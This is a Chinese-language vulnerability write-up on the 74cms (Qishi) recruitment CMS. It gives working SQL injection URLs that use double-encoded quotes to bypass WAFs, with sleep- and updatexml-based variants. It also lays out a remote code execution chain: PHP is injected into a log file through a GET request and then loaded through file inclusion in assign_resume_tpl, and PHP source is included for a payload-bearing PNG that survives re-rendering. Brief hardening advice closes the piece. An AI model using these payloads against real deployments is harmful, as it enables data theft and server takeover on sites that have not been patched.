某人才系统漏洞挖掘
字数 790 2025-08-03 16:42:28
骑士人才系统漏洞挖掘与分析
目录
SE版前台SQL注入漏洞
漏洞位置
/application/index/controller/jobfairol.php 文件中的方法存在SQL注入漏洞
漏洞特征
- 对
keyword参数进行了两次URL解码,可以绕过许多WAF或预处理机制 - 漏洞利用链:join数据表 → 添加排序 → 指定分页 → 调用column()方法获取SQL查询结果
漏洞验证
- 时间盲注Payload:
http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(sleep(5))%252523
- 报错注入Payload(需开启报错显示):
http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(updatexml(1,concat(0x7e,(select(user())),0x7e),1))%252523
影响范围
仅影响骑士CMS人才系统SE版
基础版前台RCE漏洞
环境特征
- 基于ThinkPHP 3.2.3开发
- 当
APP_DEBUG为false时,框架会整合到Application/Runtime/common~runtime.php文件中
漏洞位置
Application/Common/Controller/BaseController.class.php中的公共方法
漏洞利用链
- 日志文件写入:
GET /index.php?m=--><?=system('calc');?><-- HTTP/1.1
Host: localhost:1234
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
日志文件将写入/data/Runtime/Logs/Common/目录
- 文件包含执行:
POST /index.php?m=home&c=AdvPersonal&a=assign_resume_tpl HTTP/1.1
Host: localhost:1234
variable[_filename]=./data/Runtime/Logs/Common/21_09_22.log&tpl=adv_index
替代利用方法(通过图片上传)
- 生成恶意PNG图片(绕过二次渲染):
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
- 通过简历修改功能上传恶意图片
- 通过AJAX请求获取图片存储位置
- 利用模板渲染功能包含恶意图片文件
漏洞利用总结
TP3.2.x框架问题
- 变量覆盖导致的任意文件包含
is_file判断后直接返回文件名,不考虑是否为模板文件
骑士CMS开发问题
- 不应被直接调用的基类控制器存在公共方法
- 公共方法可被任意模块的控制器访问
防护建议
- 对用户输入进行严格过滤和转义
- 避免在基类控制器中放置公共方法
- 及时更新框架版本
- 关闭调试模式和生产环境中的错误显示
- 对文件包含操作进行严格限制